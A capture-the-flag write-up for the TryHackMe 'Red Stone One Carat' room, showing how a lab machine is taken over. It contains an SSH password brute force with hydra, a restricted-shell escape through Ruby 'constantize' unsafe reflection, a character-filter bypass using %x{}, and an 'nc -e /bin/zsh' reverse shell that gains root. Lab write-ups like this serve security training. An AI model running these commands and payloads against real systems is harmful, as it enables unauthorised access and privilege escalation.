Red Stone One Carat - Write-up - TryHackMe

Information

Room#

  • Name: Red Stone One Carat
  • Profile: tryhackme.com
  • Difficulty: Medium
  • Description: First room of the Red Stone series. Hack ruby using ruby.

Red Stone One Carat

Write-up

Overview#

Install tools used in this WU on BlackArch Linux:

1
$ sudo pacman -S nmap wordlistctl hydra

Network enumeration#

Port and service scan with nmap:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
# Nmap 7.91 scan initiated Tue Mar 16 00:20:19 2021 as: nmap -sSVC -p- -v -oA nmap_scan 10.10.159.98
Nmap scan report for 10.10.159.98
Host is up (0.033s latency).
Not shown: 65534 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 ce:c9:85:e6:cf:67:5e:29:6a:49:af:4c:fc:49:b2:77 (RSA)
| 256 4b:17:69:52:57:24:50:b9:ff:4e:45:75:81:8f:97:12 (ECDSA)
|_ 256 67:82:c7:94:d9:da:29:bf:9a:44:41:bf:8c:35:21:f7 (ED25519)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Tue Mar 16 00:20:53 2021 -- 1 IP address (1 host up) scanned in 34.24 seconds

Anyway the description of the room says:

Start with SSH bruteforce on user noraj.

Network exploitation#

The hint says:

The password contains "bu".

Let's prepare a wordlist of password containing bu.

1
$ grep bu /usr/share/wordlists/passwords/rockyou.txt > /tmp/bu_wordlist.tx

Let's try SSH bruteforce with hydra and our custom wordlist.

1
2
3
4
5
6
7
8
9
10
11
12
13
$ hydra -l noraj -P /tmp/bu_wordlist.txt 10.10.159.98 -t 4 ssh
Hydra v9.1 (c) 2020 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2021-03-16 00:45:57
[DATA] max 4 tasks per 1 server, overall 4 tasks, 126338 login tries (l:1/p:126338), ~31585 tries per task
[DATA] attacking ssh://10.10.159.98:22/

[STATUS] 44.00 tries/min, 44 tries in 00:01h, 126294 to do in 47:51h, 4 active
[STATUS] 32.00 tries/min, 96 tries in 00:03h, 126242 to do in 65:46h, 4 active
[22][ssh] host: 10.10.159.98 login: noraj password: cheeseburger
[STATUS] 18048.29 tries/min, 126338 tries in 00:07h, 1 to do in 00:01h, 2 active
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2021-03-16 00:53:13

Initial system access#

Let's connect to the machine via SSH now:

1
2
3
4
$ ssh noraj@10.10.159.98
noraj@10.10.159.98's password:
Last login: Mon Mar 15 23:54:37 2021 from 10.9.19.77
red-stone-one-carat%

System reconnaissance#

We quickly see we can't run any common commands:

1
2
red-stone-one-carat% ls
zsh: command not found: ls

So let's try some shell built-in ones to see where we are:

1
2
red-stone-one-carat% echo $SHELL
/bin/rzsh

rzsh is restricted zsh, we are in a restricted shell.

1
2
red-stone-one-carat% echo $PATH
/home/noraj/bin

Or path doesn't contain /bin, /usr/bin or /sbin that's why we can't execute anything and of course we are not allowed to change our PATH.

As we don't have ls we can use echo * and echo .* to list files:

1
2
3
4
5
red-stone-one-carat% echo *
bin

red-stone-one-carat% echo bin/*
bin/test.rb

Ok there is a ruby script we must be able to execute.

Restricted shell escape & Ruby on Rails Unsafe Reflection#

Let's execute the script: red-stone-one-carat% test.rb

1
2
3
4
5
6
7
8
9
10
#!/usr/bin/ruby

require 'rails'

if ARGV.size == 3
klass = ARGV[0].constantize
obj = klass.send(ARGV[1].to_sym, ARGV[2])
else
puts File.read(__FILE__)
end

The script is quite short. constantize seems to be a dangerous method.

Exploiting Unsafe Reflection in Ruby/Rails Applications

The method will allow use to transform a string into a Ruby object so we could execute code. We have the choice of the Class, class method and one argument.

We could use:

  • Class: File
  • class method: read()
  • argument: /home/noraj/user.txt

This is convenient to get the first flag we in the end we need to escape the restricted shell so better find a command execution payload.

  • Class: Kernel
  • class method: exec()
  • argument: /bin/zsh

Let's use this and then set a PATH to be able to load commands:

1
2
3
red-stone-one-carat% test.rb Kernel exec '/bin/zsh'

red-stone-one-carat% export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin

All common commands that can display a file are forbidden.

1
2
3
4
5
6
7
red-stone-one-carat% cat user.txt 
zsh: permission denied: cat
red-stone-one-carat% tac user.txt
zsh: permission denied: tac
red-stone-one-carat% head user.txt
zsh: permission denied: head
...

Or do it in Ruby (more obvious) as we can execute Ruby:

1
2
3
4
5
6
red-stone-one-carat% irb  
irb(main):001:0> File.read('user.txt')
=> "THM{edited}"

red-stone-one-carat% ruby -e "puts File.read('user.txt')"
THM{edited}

Elevation of Privilege (EoP)#

We can see a hint file:

1
2
3
4
5
6
7
8
9
10
11
red-stone-one-carat% ls -lhA
total 64K
drwxr-xr-x 2 root root 4.0K Mar 15 19:38 bin
drwx------ 2 noraj noraj 4.0K Mar 15 23:52 .cache
-rw-r--r-- 1 vagrant vagrant 36 Mar 15 19:37 .hint.txt
-rw-r--r-- 1 vagrant vagrant 37 Mar 15 19:37 user.txt
-rw-r--r-- 1 noraj noraj 42K Mar 15 19:44 .zcompdump
-rw-r--r-- 1 vagrant vagrant 20 Mar 15 19:37 .zshrc

red-stone-one-carat% ruby -e "puts File.read('.hint.txt')"
Maybe take a look at local services.

Ok so let's see what network services are listening.

Again common network tools are forbidden and there is no bypass this time:

1
2
3
4
red-stone-one-carat% ss -nlpt
zsh: permission denied: ss
red-stone-one-carat% netstat -nlpt
zsh: permission denied: netstat

As the goal of the box is to use Ruby there must be a way to implement an equivalent in Ruby.

This can be done by parsing /proc/net/tcp where IP addresses are hex encoded with low nibble first for many services it can be very time consuming to do it manually so let's script it in Ruby.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
require 'etc'

TCP_STATES = { # /usr/src/linux/include/net/tcp_states.h
'00': 'UNKNOWN',
'FF': 'UNKNOWN',
'01': 'ESTABLISHED',
'02': 'SYN_SENT',
'03': 'SYN_RECV',
'04': 'FIN_WAIT1',
'05': 'FIN_WAIT2',
'06': 'TIME_WAIT',
'07': 'CLOSE',
'08': 'CLOSE_WAIT',
'09': 'LAST_ACK',
'0A': 'LISTEN',
'0B': 'CLOSING',
'0C': 'NEW_SYN_RECV'
}

def decode_addr(addr)
ip, port = addr.split(':')
ip = ip.scan(/.{2}/).map{|x|x.hex.to_s}.reverse.join('.')
port = port.hex.to_s
"#{ip}:#{port}"
end

puts 'local address'.ljust(22) + 'remote address'.ljust(22) + 'state'.ljust(12) + 'username (uid)'
File.readlines('/proc/net/tcp').each_with_index do |line, i|
entry = line.split(' ')
unless i == 0 # skip headers
laddr = decode_addr(entry[1])
raddr = decode_addr(entry[2])
state = TCP_STATES[entry[3].to_sym]
uid = entry[7]
uname = Etc.getpwuid(uid.to_i).name
puts "#{laddr.ljust(22)}#{raddr.ljust(22)}#{state.ljust(12)}#{uname} (#{uid})"
end
end

Encode it in oneline base64 for easy pasting on the box:

1
2
$ cat mini-netstat.rb | base64 -w 0
cmVxdWlyZSAnZXRjJwoKVENQX1NUQVRFUyA9IHsgIyAvdXNyL3NyYy9saW51eC9pbmNsdWRlL25ldC90Y3Bfc3RhdGVzLmgKICAnMDAnOiAnVU5LTk9XTicsCiAgJ0ZGJzogJ1VOS05PV04nLAogICcwMSc6ICdFU1RBQkxJU0hFRCcsCiAgJzAyJzogJ1NZTl9TRU5UJywKICAnMDMnOiAnU1lOX1JFQ1YnLAogICcwNCc6ICdGSU5fV0FJVDEnLAogICcwNSc6ICdGSU5fV0FJVDInLAogICcwNic6ICdUSU1FX1dBSVQnLAogICcwNyc6ICdDTE9TRScsCiAgJzA4JzogJ0NMT1NFX1dBSVQnLAogICcwOSc6ICdMQVNUX0FDSycsCiAgJzBBJzogJ0xJU1RFTicsCiAgJzBCJzogJ0NMT1NJTkcnLAogICcwQyc6ICdORVdfU1lOX1JFQ1YnCn0KCmRlZiBkZWNvZGVfYWRkcihhZGRyKQogIGlwLCBwb3J0ID0gYWRkci5zcGxpdCgnOicpCiAgaXAgPSBpcC5zY2FuKC8uezJ9LykubWFwe3x4fHguaGV4LnRvX3N9LnJldmVyc2Uuam9pbignLicpCiAgcG9ydCA9IHBvcnQuaGV4LnRvX3MKICAiI3tpcH06I3twb3J0fSIKZW5kCgpwdXRzICdsb2NhbCBhZGRyZXNzJy5sanVzdCgyMikgKyAncmVtb3RlIGFkZHJlc3MnLmxqdXN0KDIyKSArICdzdGF0ZScubGp1c3QoMTIpICsgJ3VzZXJuYW1lICh1aWQpJwpGaWxlLnJlYWRsaW5lcygnL3Byb2MvbmV0L3RjcCcpLmVhY2hfd2l0aF9pbmRleCBkbyB8bGluZSwgaXwKICBlbnRyeSA9IGxpbmUuc3BsaXQoJyAnKQogIHVubGVzcyBpID09IDAgIyBza2lwIGhlYWRlcnMKICAgIGxhZGRyID0gZGVjb2RlX2FkZHIoZW50cnlbMV0pCiAgICByYWRkciA9IGRlY29kZV9hZGRyKGVudHJ5WzJdKQogICAgc3RhdGUgPSBUQ1BfU1RBVEVTW2VudHJ5WzNdLnRvX3N5bV0KICAgIHVpZCA9IGVudHJ5WzddCiAgICB1bmFtZSA9IEV0Yy5nZXRwd3VpZCh1aWQudG9faSkubmFtZQogICAgcHV0cyAiI3tsYWRkci5sanVzdCgyMil9I3tyYWRkci5sanVzdCgyMil9I3tzdGF0ZS5sanVzdCgxMil9I3t1bmFtZX0gKCN7dWlkfSkiCiAgZW5kCmVuZA==

On the box paste it on a file:

1
red-stone-one-carat% printf %s 'cmVxdWlyZSAnZXRjJwoKVENQX1NUQVRFUyA9IHsgIyAvdXNyL3NyYy9saW51eC9pbmNsdWRlL25ldC90Y3Bfc3RhdGVzLmgKICAnMDAnOiAnVU5LTk9XTicsCiAgJ0ZGJzogJ1VOS05PV04nLAogICcwMSc6ICdFU1RBQkxJU0hFRCcsCiAgJzAyJzogJ1NZTl9TRU5UJywKICAnMDMnOiAnU1lOX1JFQ1YnLAogICcwNCc6ICdGSU5fV0FJVDEnLAogICcwNSc6ICdGSU5fV0FJVDInLAogICcwNic6ICdUSU1FX1dBSVQnLAogICcwNyc6ICdDTE9TRScsCiAgJzA4JzogJ0NMT1NFX1dBSVQnLAogICcwOSc6ICdMQVNUX0FDSycsCiAgJzBBJzogJ0xJU1RFTicsCiAgJzBCJzogJ0NMT1NJTkcnLAogICcwQyc6ICdORVdfU1lOX1JFQ1YnCn0KCmRlZiBkZWNvZGVfYWRkcihhZGRyKQogIGlwLCBwb3J0ID0gYWRkci5zcGxpdCgnOicpCiAgaXAgPSBpcC5zY2FuKC8uezJ9LykubWFwe3x4fHguaGV4LnRvX3N9LnJldmVyc2Uuam9pbignLicpCiAgcG9ydCA9IHBvcnQuaGV4LnRvX3MKICAiI3tpcH06I3twb3J0fSIKZW5kCgpwdXRzICdsb2NhbCBhZGRyZXNzJy5sanVzdCgyMikgKyAncmVtb3RlIGFkZHJlc3MnLmxqdXN0KDIyKSArICdzdGF0ZScubGp1c3QoMTIpICsgJ3VzZXJuYW1lICh1aWQpJwpGaWxlLnJlYWRsaW5lcygnL3Byb2MvbmV0L3RjcCcpLmVhY2hfd2l0aF9pbmRleCBkbyB8bGluZSwgaXwKICBlbnRyeSA9IGxpbmUuc3BsaXQoJyAnKQogIHVubGVzcyBpID09IDAgIyBza2lwIGhlYWRlcnMKICAgIGxhZGRyID0gZGVjb2RlX2FkZHIoZW50cnlbMV0pCiAgICByYWRkciA9IGRlY29kZV9hZGRyKGVudHJ5WzJdKQogICAgc3RhdGUgPSBUQ1BfU1RBVEVTW2VudHJ5WzNdLnRvX3N5bV0KICAgIHVpZCA9IGVudHJ5WzddCiAgICB1bmFtZSA9IEV0Yy5nZXRwd3VpZCh1aWQudG9faSkubmFtZQogICAgcHV0cyAiI3tsYWRkci5sanVzdCgyMil9I3tyYWRkci5sanVzdCgyMil9I3tzdGF0ZS5sanVzdCgxMil9I3t1bmFtZX0gKCN7dWlkfSkiCiAgZW5kCmVuZA==' | base64 -d > /tmp/ss.rb

Execute it:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
vagrant@red-stone-one-carat:~$ ruby /tmp/ss.rb
...
127.0.0.1:30298 0.0.0.0:0 LISTEN vagrant (1000)
127.0.0.1:30266 0.0.0.0:0 LISTEN vagrant (1000)
127.0.0.1:30234 0.0.0.0:0 LISTEN vagrant (1000)
127.0.0.1:30202 0.0.0.0:0 LISTEN vagrant (1000)
127.0.0.1:30170 0.0.0.0:0 LISTEN vagrant (1000)
127.0.0.1:30138 0.0.0.0:0 LISTEN vagrant (1000)
127.0.0.1:30106 0.0.0.0:0 LISTEN vagrant (1000)
127.0.0.1:30074 0.0.0.0:0 LISTEN vagrant (1000)
127.0.0.1:30042 0.0.0.0:0 LISTEN vagrant (1000)
127.0.0.1:30010 0.0.0.0:0 LISTEN vagrant (1000)
127.0.0.1:31547 0.0.0.0:0 LISTEN root (0)
127.0.0.1:30939 0.0.0.0:0 LISTEN vagrant (1000)
127.0.0.1:30971 0.0.0.0:0 LISTEN vagrant (1000)
127.0.0.1:30907 0.0.0.0:0 LISTEN vagrant (1000)
127.0.0.1:30875 0.0.0.0:0 LISTEN vagrant (1000)
127.0.0.1:30811 0.0.0.0:0 LISTEN vagrant (1000)
127.0.0.1:30843 0.0.0.0:0 LISTEN vagrant (1000)
127.0.0.1:30779 0.0.0.0:0 LISTEN vagrant (1000)
127.0.0.1:30747 0.0.0.0:0 LISTEN vagrant (1000)
...

Port 31547 service is owned by root so that must be the way.

1
2
3
vagrant@red-stone-one-carat:~$ nc 127.0.0.1 31547
$ id
undefined local variable or method `id' for main:Object

it's not a shell but seems to be a Ruby eval pseudo shell.

1
2
$ File.read('/etc/passwd')
Forbidden character

Looks like many special character like dot, quotes, braces, etc. are forbidden.

Taking a look at this SO thread again we can find a way to execute commands without using a blocked character using %x and curly braces {} rather than normal () or square braces []. Also we can replace 127.0.0.1 that is using dots but localhost. We can start another SSH session with a netcat listener nc -nlp 9999 and open a reverse shell:

1
$ %x{nc -e /bin/zsh localhost 9999}

We get a shell as root:

1
2
3
4
5
6
vagrant@red-stone-one-carat:~$ nc -nlp 9999
export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
id
uid=0(root) gid=0(root) groups=0(root)
cat /root/root.txt
THM{edited}
Share